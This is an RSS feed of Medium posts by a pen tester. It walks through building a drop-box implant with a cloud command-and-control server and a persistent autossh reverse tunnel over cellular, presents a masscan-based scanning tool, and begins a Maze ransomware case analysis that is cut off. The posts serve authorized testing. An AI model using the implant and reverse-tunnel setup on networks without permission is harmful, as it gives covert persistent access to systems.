<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
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        <title><![CDATA[Stories by Killbit on Medium]]></title>
        <description><![CDATA[Stories by Killbit on Medium]]></description>
        <link>https://medium.com/@killbit?source=rss-4d97b33af8c2------2</link>
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            <title>Stories by Killbit on Medium</title>
            <link>https://medium.com/@killbit?source=rss-4d97b33af8c2------2</link>
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        <lastBuildDate>Fri, 20 Nov 2026 09:58:39 GMT</lastBuildDate>
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        <item>
            <title><![CDATA[Part 1: The Ultimate Pen Test Drop Box Walkthrough]]></title>
            <link>https://infosecwriteups.com/part-1-build-a-cloud-based-command-and-control-server-and-attack-drop-box-with-a-cellular-b3e9e063dedd?source=rss-4d97b33af8c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3e9e063dedd</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Killbit]]></dc:creator>
            <pubDate>Tue, 28 Sep 2021 19:23:12 GMT</pubDate>
            <atom:updated>2022-02-04T02:11:12.569Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Throughout my career, time and time again engagements arise where remote access is required. Depending on the job role, customers have been both internal (other departments across the country) and external (clients around the world paying us for consulting). To avoid large travel and hotel expenditures as well as avoid lengthy red tape cutting exercises, I have found the best approach is to build a remote drop box. This article will assume you understand underlying protocols at least by name but we will define some key terms such a “drop box”, and “command and control”. Do not worry this is going to be fun and as straight forward as possible.</p><h3>3 Part Series</h3><p>To prevent making this post to long I have broken the configuration process into 3 parts:</p><ol><li>Build a Cloud based Command and Control Server</li><li>Build Attack Drop Box</li><li>Install Cellular Backlink (hardware/software)</li></ol><h3>What is a remote drop box?</h3><p>A remote drop box is a computing device that you ship to a customer. The customer will plug your device into a live ethernet port, and the drop box will automatically build a connection outbound to your Command-and-Control architecture over your choice of protocol.</p><h3>Wait Command and Control, how do I build that?</h3><p>For our purposes, this article will go over how to stand up a simple cloud-based server to catch your drop box communications and allow you to tunnel to your drop box from anywhere.</p><h3>Command and Control Setup</h3><h3>Step 1 — Purchase a Domain Name (not required)</h3><p>Go to domains.google.com &gt; Get a new domain &gt; Search a cool name and buy it (I will be using my stealing.io domain) &gt; DNS Settings &gt; Use custom name servers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*eXW8iSq9YVUaeKggUuL5OQ.png" /><figcaption>Google Domain Pointed To Digital Ocean DNS</figcaption></figure><p>&gt; Custom Resource Records &gt; Enter the following TXT records: {</p><p>_acme-challenge: “hfWfdb5rrc_2IBbHNlJTn0lyVVoJVl7-A-rrdYJsAwY”,</p><p>_acme-challenge.www: “yHci0yAuGWY2qRDLAo94jZSCnxNl1h0YGsVOVF1YJ1A”</p><p>}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Sn4YWC-crS5scKSQBFRMvw.png" /><figcaption>Custom Resource Records</figcaption></figure><p>YOU’RE DONE! We now have a domain (website) name that is pointing to Digital Ocean’s DNS servers for resolution. Perfect!</p><h3>Step 2 — Digital Ocean (DO) Set up</h3><p>Register a DO account &gt; Login &gt; Create a Droplet &gt;Choose an Image &gt; [Select] Ubuntu &gt; Choose any version you’d like &gt; Choose a Plan &gt; [Select] Basic &gt; [Select] $5/mo &gt; Choose a datacenter region &gt; [Select] Anywhere you’d like &gt; VPC Network &gt; [Leave as default] &gt; Authentication &gt; [Select] Password &gt; Create the root password (make it long and complex, this is for temporary use and will be disabled later) &gt; How many Droplets? &gt; [Select] 1 Droplet &gt; Choose a hostname &gt; [Enter] Your creative hostname (mine will be killbit-CNC) &gt; Create Droplet</p><p>You will now see your droplet in your dashboard where an IP address has been assigned to our droplet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*3dpsdyLAma6V7pT0TPn29Q.png" /><figcaption>Ubuntu Server Operational</figcaption></figure><p>Time to map our DNS records to our CnC droplet:</p><p>Create &gt; Domains/DNS &gt; Add a domain &gt; [Enter] YourDOMAIN &gt; [Click] Add domain</p><p>Create a new record &gt; Hostname &gt; [Enter] a subdomain name you want to use such as ‘connect’ &gt; Will direct to &gt; [Select] Your droplet from dropdown menu &gt; Create Record</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*oAwxN2VepsQ2KzKacOFL_Q.png" /><figcaption>Configure DNS Resolution</figcaption></figure><p>The new record should now appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*lIkpfyvtwEPMxr1W9pt_Vw.png" /><figcaption>You should now have an A record like this one</figcaption></figure><p>Now SSH into your Droplet using the credentials you created earlier for the Ubuntu root account. The command you use should be along the lines of</p><p>&gt;ssh root@[subdomain.DomainNameYourRegistered]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*EyjTd-KpcFR8sjC3LUNddA.png" /><figcaption>Using Putty to Connect via SSH to our Server at D.O.</figcaption></figure><p>From putty [Select] Open &gt; [Select] Yes at the prompt about cert acceptance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/215/1*5SrxHFkBccxOsLYPCud58A.png" /><figcaption>SELECT YES</figcaption></figure><p>&gt; [Enter] Password at prompt</p><p>You should now have a terminal screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*6MTubrB9-z739Mlbp3TQWA.png" /><figcaption>Welcome to your root terminal</figcaption></figure><p>Create a new user and add it to the sudoers group</p><p>&gt;adduser ENTER_USERNAME_YOU_WANT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*z-RORCpR1D0oZVKh0DowEw.png" /><figcaption>Creating New User</figcaption></figure><p>&gt; Set password &gt; [ENTER] [ENTER] [ENTER] [ENTER] &gt; YES</p><p>Now issue sudo priveledges to the user you created</p><p>&gt;visudo</p><p>After the root entry on line ~30 add:</p><p>&gt; [ENTER] username ALL=(ALL:ALL) ALL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*07lJWyXOHpVPUL2RUvuNCg.png" /><figcaption>Granting User Sudo Privs</figcaption></figure><p>&gt; CTRL+O [ENTER]</p><p>&gt;CTRL+X</p><p>Disconnect from Ubuntu.</p><p>SSH to your server as the new user:</p><p>&gt;ssh <a href="/service/mailto:new_user@subdomain.domain">new_user@subdomain.domain</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*Tlx-kBPRwHC1smAVR2aj8A.png" /><figcaption>New user shell on Server</figcaption></figure><h3>Harden SSH Configuration</h3><p>Generate a Key Pair with Putty by opening Putty Key Generator &gt; Click Generate &gt; Wiggle Mouse &gt; Save Public and Private key &gt; Conversions &gt; Export OpenSSH Key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*rj-sOGVOsTPh9A6X35rxGA.png" /><figcaption>Handling SSH Keys with Putty</figcaption></figure><p>Now you can take your public openssh formatted key and put it in the authorized_keys file on your CnC server in the /home/.ssh directory of your user. Point your Putty session at the private putty key (.ppk) under Connection &gt; SSH &gt; Auth &gt; Private key file for authentication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*Kt7bpbcY34mpcsG9EW1Vkw.png" /><figcaption>SSH Key Auth Config in Putty</figcaption></figure><p>On your CnC server add the public key in OpenSSH format to the authorized_keys file under the user’s ~/home/.ssh directory. Now go change the SSH configuration to prevent password-based entry to your CnC server in the future and effectively thwart SSH brute force against your server.</p><p>&gt;vim /etc/ssh/sshd_config</p><p>Make the following changes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*o1TUH8uD5WHABNImr8R_aw.png" /><figcaption>Edits to SSHD_CONFIG</figcaption></figure><p>You will want to repeat the SSH process for your drop box to use to connect back to the CnC server automatically with a second set of keys. For the dropbox keys to be generated will be easier as all you will need to run from the CnC to the drop box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jsdm7C6m5XtddCxgDeicVA.png" /></figure><p>Then again from the drop box to the CnC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wclFXNE5ykpje5NEh5RHfw.png" /><figcaption>Commands to gen ssh keys and copy them to your server</figcaption></figure><p>Now is a good time to update the CnC server hosted at Digital Ocean. Go ahead and run the commands (these take a long time to complete so be ready for that):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*vJwjd9vB67QAlor1SQNwVg.png" /><figcaption>Commands to update your server</figcaption></figure><p><strong>We will build our Dropbox in the next post:</strong></p><p>Part 2: <a href="https://killbit.medium.com/part-2-build-the-pen-test-drop-box-69278526886a">Build the Pen Test Drop Box</a></p><p><strong>Followed by:</strong></p><p>PART 3:<a href="https://killbit.medium.com/part-3-pen-test-dropbox-adding-a-cellar-backlink-8c8d5cfde667">Pen Test DropBox — Adding a Cellar Backlink</a></p><p>If you like my content and the work I have provided here please consider sending some coffee love my way @ <a href="https://www.buymeacoffee.com/killbit">https://www.buymeacoffee.com/killbit</a></p><p>Your Friendly Neighborhood Hacker,</p><p>Killbit</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3e9e063dedd" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/part-1-build-a-cloud-based-command-and-control-server-and-attack-drop-box-with-a-cellular-b3e9e063dedd">Part 1: The Ultimate Pen Test Drop Box Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Part 2: The Ultimate Pen Test Drop Box Walkthrough — Build the Pen Test Drop Box]]></title>
            <link>https://infosecwriteups.com/part-2-build-the-pen-test-drop-box-69278526886a?source=rss-4d97b33af8c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/69278526886a</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Killbit]]></dc:creator>
            <pubDate>Tue, 28 Sep 2021 19:21:41 GMT</pubDate>
            <atom:updated>2022-08-01T15:46:28.525Z</atom:updated>
            <content:encoded><![CDATA[<h3>Order the parts</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*EPcgL9P7Ogo2iNa0mni-Fw.png" /><figcaption>Cost of Build</figcaption></figure><p><strong>LINKS FOR PURCHASE</strong></p><p>Raspberry Pi 4 Model B — $ 63.23 — <a href="https://amzn.to/3n6xBty">https://amzn.to/3n6xBty</a></p><p>Power Supply — $ 9.99 — <a href="https://amzn.to/3HK31xQ">https://amzn.to/3HK31xQ</a></p><p>Cellular Hat — $ 39.00 — <a href="https://sixfab.com/product/raspberry-pi-3g-4glte-base-shield-v2/">CLICK HERE</a></p><p>Twilio SIM Card — $ 10.00 — <a href="https://www.twilio.com/wireless">CLICK HERE</a></p><p>Samsung 64GB Memory Card — $ 7.49 — <a href="https://amzn.to/3f30Jxo">https://amzn.to/3f30Jxo</a></p><h3>Assemble the parts</h3><p>This part is straight forward, no explanation needed.</p><h3>Install Kali</h3><p>Download Kali ARM image from: <a href="https://kali.download/arm-images/current/kali-linux-2022.2-raspberry-pi-arm64.img.xz">https://kali.download/arm-images/current/kali-linux-2022.2-raspberry-pi-arm64.img.xz</a></p><p>Download Rufus: <a href="https://rufus.ie/">HERE</a></p><p>Using Rufus write Kali ARM image to your MicroSD card via a USB adapter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/199/1*VpM3_Sub861NA7dGeSkSaA.png" /><figcaption>Rufus Interface</figcaption></figure><p>Once you have your MicroSD with the Kali OS on it, simply place in the microSD slot on your Pi. You are ready to boot!</p><p>Next we will add our cellular backlink! :) <a href="https://killbit.medium.com/part-3-pen-test-dropbox-adding-a-cellar-backlink-8c8d5cfde667">CLICK HERE</a></p><p>PART 1: <a href="https://killbit.medium.com/part-1-build-a-cloud-based-command-and-control-server-and-attack-drop-box-with-a-cellular-b3e9e063dedd">Build a Cloud based Command and Control Server, and Attack Drop Box with a Cellular Backlink</a></p><p>PART 3:<a href="https://killbit.medium.com/part-3-pen-test-dropbox-adding-a-cellar-backlink-8c8d5cfde667"> Pen Test DropBox — Adding a Cellar Backlink</a></p><p>If you like my content and the work I have provided here please consider sending some coffee love my way @ <a href="https://www.buymeacoffee.com/killbit">https://www.buymeacoffee.com/killbit</a></p><p>Your Friendly Neighborhood Hacker,</p><p>Killbit</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69278526886a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/part-2-build-the-pen-test-drop-box-69278526886a">Part 2: The Ultimate Pen Test Drop Box Walkthrough — Build the Pen Test Drop Box</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Part 3: Pen Test DropBox — Adding a Cellar Backlink]]></title>
            <link>https://infosecwriteups.com/part-3-pen-test-dropbox-adding-a-cellar-backlink-8c8d5cfde667?source=rss-4d97b33af8c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c8d5cfde667</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Killbit]]></dc:creator>
            <pubDate>Tue, 28 Sep 2021 19:18:54 GMT</pubDate>
            <atom:updated>2026-01-08T01:25:02.890Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 3: The Ultimate Pen Test Drop Box Walkthrough— Adding SSH CallBack and a Celluar Backlink</h3><h3>Install the required dependencies for the Cellular Card</h3><p>Commands to install dependencies:</p><pre>apt-get install kalipi-kernel-headers</pre><pre>curl -L ——output /usr/bin/rpi-update https://raw.githubusercontent.com/Hexxeh/rpi-update/master/rpi-update &amp;&amp; sudo chmod +x /usr/bin/rpi-update</pre><p>IGNORE THE WARNING and type ‘y’ to accept the install/update.</p><h3>Register your Cellular Card with Twilio</h3><p>Click <a href="https://www.twilio.com/console">HERE</a> and setup your card (or follow the directions that came with the SIM card)</p><p>wget <a href="https://raw.githubusercontent.com/sixfab/Sixfab_RPi_3G-4G-LTE_Base_Shield/master/tutorials/QMI_tutorial/qmi_install.sh">https://raw.githubusercontent.com/sixfab/Sixfab_RPi_3G-4G-LTE_Base_Shield/master/tutorials/QMI_tutorial/qmi_install.sh</a> &amp;&amp; sudo chmod 755 qmi_install.sh</p><p>&gt;vim qmi_install.sh (change all file directories to match what you have as the file paths are hardcoded)</p><p>&gt;wget <a href="https://raw.githubusercontent.com/sixfab/Sixfab_RPi_3G-4G-LTE_Base_Shield/master/tutorials/QMI_tutorial/install_auto_connect.sh">https://raw.githubusercontent.com/sixfab/Sixfab_RPi_3G-4G-LTE_Base_Shield/master/tutorials/QMI_tutorial/install_auto_connect.sh</a></p><p>&gt;sudo chmod +x install_auto_connect.sh</p><p>&gt;install_auto_connect.sh (requires reboot upon completion)</p><p>&gt;cd /home/[YOUR_USERNAME]/files/quectel-CM</p><p>&gt;./quectel-CM -s wireless.twilio.com</p><p>&gt;reboot</p><p>&gt;vim /usr/src/qmi_reconnect.sh</p><p>&gt;sudo systemctl status qmi_reconnect.service</p><p>&gt;sudo reboot</p><h3>SET UP RDP Access (if you care to have it)</h3><p>&gt;apt install -y xrdp tigervnc-standalone-server</p><p>&gt;systemctl enable xrdp</p><p>&gt;systemctl restart xrdp</p><p>&gt;systemctl enable xrdp-sesman.service</p><h3>Set up automatic SSH callback on the PI</h3><p>From the Pi generate a new SSH key pair.</p><p>&gt;ssh-keygen</p><p>Then copy your key to the CnC server.</p><p>&gt;ssh-copy-id -i /path/to/your/public/key -p 22 lessprivuser@CnC_Server_IP</p><p>Install AutoSSH.</p><p>&gt;apt install autossh</p><p>Create a service that runs the autossh command to build the reverse shell.</p><p>&gt;vim /etc/systemd/system/rtunnel.service</p><p>Enter ALL of the following and edit the CNC_Server_IP:</p><p><em>[Unit]</em></p><p><em>Description=AutoSSH reverse tunnel</em></p><p><em>After=routes.service</em></p><p><em>[Service]</em></p><p><em>Environment=”AUTOSSH_GATETIME=0&quot;</em></p><p><em>ExecStartPre=/bin/sleep 30</em></p><p><em>ExecStart=/usr/bin/autossh -M 0 -N -o “ServerAliveInterval 60” -o “ServerAliveCountMax 3” -o StrictHostKeyChecking=false -o “ConnectTimeout 10” -o “ExitOnForwardFailure yes” -R 2222:localhost:22 [</em><strong><em>lessprivledgeduser</em></strong><em>@</em><strong><em>CnC_Server_IP</em></strong><em>]</em></p><p><em>Restart=on-failure</em></p><p><em>RestartSec=5s</em></p><p><em>[Install]</em></p><p><em>WantedBy=multi-user.target</em></p><p>Create a route for your PI to build an SSH through to the CnC server.</p><p>&gt;vim /etc/systemd/system/routes.service</p><p><em>[Unit]</em></p><p><em>Description=Persistent Routes</em></p><p><em>After=twilio.service</em></p><p><em>[Service]</em></p><p><em>ExecStartPre=/bin/sleep 20</em></p><p><em>ExecStart=/sbin/route add -net [</em><strong><em>YOUR_CnC_Server_IP</em></strong><em>] netmask 255.255.255.255 dev wwan0</em></p><p><em>[Install]</em></p><p><em>WantedBy=multi-user.target</em></p><p>Create a service that will run to activate your cellular connection on boot.</p><p>&gt;vim /etc/systemd/system/twilio.service</p><p><em>[Unit]</em></p><p><em>Description=Cellular Internetz</em></p><p><em>[Service]</em></p><p><em>ExecStart=/home/[USERNAME]/files/quectel-CM/quectel-CM -s internet; udpcpc -i wwan0</em></p><p><em>[Install]</em></p><p><em>WantedBy=multi-user.target</em></p><h3>OPTIONAL PRECAUTION</h3><p>As a precaution to prevent SSH hang ups from inhibiting future connections you will want to set up a cron job that reboots the drop box every hour (or whatever time interval you are comfortable with).</p><p>&gt;crontab -e</p><p>&gt;*/60 * * * * root shutdown -r</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*psDQgWIRUkNPQUFN_v8Izw.png" /><figcaption>Crontab Entry</figcaption></figure><h3>Hop to the drop box with ease</h3><p>&gt;ssh [user]@[CnC-Address]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*QE3AAyRLjqZRlGyPgu-qPg.png" /></figure><p>&gt;ssh [user]@localhost -p [PORT_IMPLANT_CONNECTED_TO_CNC_ON]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*GxtMDRa9BDsPbsFnB-j7gQ.png" /></figure><h3>Final Interfaces from the Implant/Dropbox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*gsRMyXnUUJlI1qWXHF_dUA.png" /><figcaption>Final Network Interfaces</figcaption></figure><p>RETURN TO:<br>PART 1: <a href="https://killbit.medium.com/part-1-build-a-cloud-based-command-and-control-server-and-attack-drop-box-with-a-cellular-b3e9e063dedd">Build a Cloud based Command and Control Server, and Attack Drop Box with a Cellular Backlink</a></p><p>Part 2: <a href="https://killbit.medium.com/part-2-build-the-pen-test-drop-box-69278526886a">Build the Pen Test Drop Box</a></p><p>If you like my content and the work I have provided here please consider sending some coffee love my way @ <a href="https://www.buymeacoffee.com/killbit">https://www.buymeacoffee.com/killbit</a></p><p>Your Friendly Neighborhood Hacker,</p><p>Killbit</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c8d5cfde667" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/part-3-pen-test-dropbox-adding-a-cellar-backlink-8c8d5cfde667">Part 3: Pen Test DropBox — Adding a Cellar Backlink</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Reachy — The Pen Test Tool for Auto-Magic Access Confirmation and Segmentation Testing]]></title>
            <link>https://killbit.medium.com/reachy-the-pen-test-tool-for-auto-magic-access-confirmation-and-segmentation-testing-6bd924ac1de8?source=rss-4d97b33af8c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bd924ac1de8</guid>
            <category><![CDATA[scanner]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Killbit]]></dc:creator>
            <pubDate>Fri, 21 May 2021 00:53:43 GMT</pubDate>
            <atom:updated>2021-07-07T19:10:51.379Z</atom:updated>
            <content:encoded><![CDATA[<h3>Reachy — The Pen Test Tool for Auto-Magic Access Confirmation and Segmentation Testing</h3><p>Here I will document a tool I wrote to make life easier as a Pen Tester and sometimes even as a Red Teamer.</p><h3>Introduction</h3><p>After a pen test engagement has been scoped and the details for the test have been confirmed, access testing is executed. It is the tester(s) responsibility to confirm that network access to the given target IP ranges are in fact reachable. To test if access has been properly given, the tester must attempt to traverse each IP range and touch at least one host inside each range. If at least a single host is reachable then you know you at least have access to at minimum a subset of machines on that network range. This task is time consuming and arduous as often there will be a long list of network ranges that must be checked to determine accessibility. The trouble with managing a large list is that you must manually cross correlate responding IP addresses with their associated IP range (aka CIDR) and check the range off the list. Often this is expected to be done on the fly and you must confirm, while on a conference call, that all access has been granted as expected. Many tools can be used to confirm access to a subnet (or IP range) most often represented in CIDR notation as “x.x.x.x/xx”. For example, an internal network of 255 hosts could be represented as “10.10.10.0/24”, when scanning a ‘C’ class network like the example of the “/24” network, you may get back any number of responses indicating that the receiving IP was alive. When running a ping sweep or a SYN scan across some limited set of ports on a single range it is easy to know if you have access to that network range. Did anything respond? Great you now know you can send packets to the target network.</p><h3>The Problem?</h3><h3>Access Confirmation</h3><p>If your customer gives the tester(s) 100+ IP ranges consisting of tens of thousands of hosts and asks the tester(s) to confirm access to these ranges this creates a great deal of work. Often the customer will have ICMP disabled, and the tester must then work around this issue with some form of port scan method. Time-to-completion for scanners on large ranges for any scan type is often very long (hours or even days). Moreover, many times access is not configured as expected, so you end up having to repeat the access check exercise multiple times. In addition to multiple checks, you need to track and document your work along the way in case management comes down and wants to know why the test schedule is delayed. Many testers will use nmap ping sweeps (nmap -sn -iL ranges.list) where possible, however often testers will not be able to leverage ICMP as it has been disabled by network administrators. Testers will then turn to methods such as SYN scans (nmap -Pn -sS –top- -iL ranges.list) to determine up-hosts. This approach takes FOREVER! Even after the scans complete you must look through the results for individual IP addresses that responded in one hand and look at the list of ranges in the other and then mark off each range as you spot an IP that falls within it. #PITA</p><h3>Segmentation Testing (for PCI Compliance)</h3><p>When testing a PCI-mandated environment there is an additional requirement to ensure that <strong>C</strong>ardholder <strong>D</strong>ata <strong>E</strong>nvironments (CDE) cannot talk to adjacent subnets. The tester must confirm that hosts from the CDE network cannot talk to hosts from adjacent networks. The process that grants this assurance is much like the access confirmation process. The tester will be issued a list of adjacent networks and must determine if communication is possible between the given ranges and the CDE. Again, ICMP is often disabled so, simple ping sweeps aren’t always possible, and even when they are possible the same manual check between the scan results and the target ranges must be checked off one by one where there are often hundreds.</p><h3>The Solution?</h3><p>Enter <a href="https://github.com/xkillbit/reachability.git">reach.py</a> located in the reachability repository on github.com found <a href="https://github.com/xkillbit/reachability.git">here</a>.</p><p>My tool <a href="https://github.com/xkillbit/reachability.git">reachy.py</a>, a python script, utilizes <a href="https://github.com/robertdavidgraham/masscan">masscan</a> and a custom parser to determine how many hosts are alive in each given subnet. The reachy python script runs masscan against target range(s) checking each IP address in the range(s) for the top 100 running services from nmap. If any of the top 100 services are running the targeted hosts responds, then it is marked as ‘alive’. The script runs masscan at its default (slowpoke mode) of 100 packets per second for safe use by all users. Reachy.py outputs to a grid in the terminal as well as a TSV file in the “/logs” directory with a timestamp in the output file. Each use of the tool will produce a unique log.</p><h3>Usage (all assumes root or sudo on each):</h3><p>&gt; git clone <a href="https://github.com/xkillbit/reachability.git">https://github.com/xkillbit/reachability.git</a></p><p>&gt;cd reachability</p><p>&gt;chmod 755 setup.sh</p><p>&gt;./setup.sh</p><p>&gt;vim targets.list</p><p>&gt;i</p><p>&gt;paste/type target ranges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/1*6G-3ZVetjhc0k56QAavjtQ.png" /><figcaption>List of target IP ranges</figcaption></figure><p>&gt;./reachy.py targets.list [speed of scanning]</p><p>#defaults speed is 100 pps | max speed from VM is 300,000 pps</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*xyrtMq3qgmNRLJUQKfBKpw.png" /><figcaption>Terminal Output Upon Complete Reachy Run</figcaption></figure><p>The list file can be fed into other tools like nmap or nessus with ease. The TSV (tab separated values) file can be opened with excel and given to management as evidence of work completed.</p><p>The list out file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*VzwfQslkPiurlqF7WZHnvA.png" /></figure><p>The TSV out file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*5JS3qTzR3s9Qniei7zqNCA.png" /></figure><p>Now you can sit back and enjoy your coffee while my tool does the lifting for you. If you like my content and the work I have provided here please consider sending some coffee love my way @ <a href="https://www.buymeacoffee.com/killbit">https://www.buymeacoffee.com/killbit</a></p><p>Your Friendly Neighborhood Hacker,</p><p>Killbit</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bd924ac1de8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Applying the Diamond Model to Cognizant (MSP) and Maze Ransomware and a Policy Assessment]]></title>
            <link>https://medium.com/swlh/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f?source=rss-4d97b33af8c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/498f01bd723f</guid>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[policy]]></category>
            <dc:creator><![CDATA[Killbit]]></dc:creator>
            <pubDate>Mon, 14 Dec 2020 03:03:51 GMT</pubDate>
            <atom:updated>2024-06-22T17:13:49.042Z</atom:updated>
            <content:encoded><![CDATA[<h3>Applying the Diamond Model to Cognizant (MSP) vs. Maze Ransomware</h3><h3>Introduction</h3><p>In our modern era, one of the most prevalent threats to the computing world is ransomware. Ransomware is a form of malware that, once executed, encrypts files and the victim’s attached network shares (Columbus, 2019). Once the files and connected network shares have become encrypted, the victim is presented with a ransom note that generally states for a payment to be made in exchange for the private key to decrypt the victim’s data. This attack is crippling to victim organizations that need access to their files and data to maintain daily operations. The disruptions from ransomware can cost companies millions in damages. The average ransomware payment is about $233,817, with the median cost of $110,532. Maze malware makes up 13.6% of the ransomware market share, landing it in second place among top strands (Siegel 2020). It is estimated that ransomware caused $7.5 billion in damages last year in the United States (O’Neill 2019). A research group at Emisoft tallied up 113 governments and agencies, 764 health-care providers, and up to 1,233 individual schools affected by ransomware in America (O’Neill 2019).</p><p>The incident reviewed in this paper is about the Maze ransomware attack on a Fortune 500 organization. The organization under attack was Cognizant, which was among the largest of the Maze ransomware victims. Maze ransomware was initially discovered in May of 2019 by Jerome Segura, a researcher at Malwarebytes (Cybersecurity and HHS Cybersecurity Program 2020). Maze ransomware many initial access methods, post-exploitation methods, and data exfiltration techniques before encrypting victim data. The Maze ransomware operation is unique as it was the first notable version to add the element of extortion for enforcement of the demanded ransom payment (Arntz 2020).</p><p>Companies like Cognizant are not well-positioned to protect their customer and employee data because, for them, a robust Cybersecurity strategy is a cost-driven choice versus a legal requirement. Corporations are required to produce profits for their shareholders as their primary mission, where Cybersecurity is an afterthought. Without a dis-incentive for non-compliance, there is no way to ensure that citizen PII will be secured appropriately.</p><h3>History of the problem</h3><p>The history of the ransomware problem is prevalent and ever-present, however prosaic. The first significant strain of modern ransomware came into the forefront of the Cybersecurity industry in 2013 and was dubbed “CryptoLocker” (Kieran 2020). CyrptoLocker’s behavior was to use 2048-bit RSA encryption on all files for which it had access permissions under the context of the compromised user account. In the process of encrypting files, the file names were simultaneously changed to have extensions such as “.cryptolocker” (Petters 2020). A text file would be left on the desktop titled “DECRYPT_INSTRUCTION,” containing steps toward recovering the victim’s data (Petters 2020). Victims would be instructed to transfer some amount of bitcoin to a digital wallet controlled by the attacker(s) in exchange for the encryption key to decrypt their data (Kieran 2020). After the CyptoLocker campaign’s success, which earned more than $3 million, many new strains and variants of ransomware were released by the criminal underground (Groot 2020).</p><p>Ransomware variants ran into many problems when it came to receiving payments. At times there were difficulties collecting payment due to attackers failing to keep their side of the deal (Hartwig 2016). Attacker reputations would be ruined after not following through with their side of the transaction. Attackers that did not issue the decryption key in exchange for the ransom discouraged future victims from bothering to make ransom payments. Large corporations also implemented proper backup solutions to revert to a previous backup without making the ransom payment. Also, they deployed cyber defense tools to not only detect but, in some cases, prevent the malware from running. At a certain point, researchers released tools for free called “decryptors” that decrypt victim files without paying the attackers.</p><p>The ransomware industry in 2019 produced an estimated 7.5 billion in revenues (Hartwig 2020). Trends seem to suggest the market will grow to 20 billion by 2021 (Cook 2020). Many ransomware variants have been reverse-engineered. The reverse-engineered code has been publicly posted on GitHub for anyone to study. One can only speculate that with the news and source code of many ransomware variants publicly available, Maze developers found a way to refine their malware to achieve tremendous financial 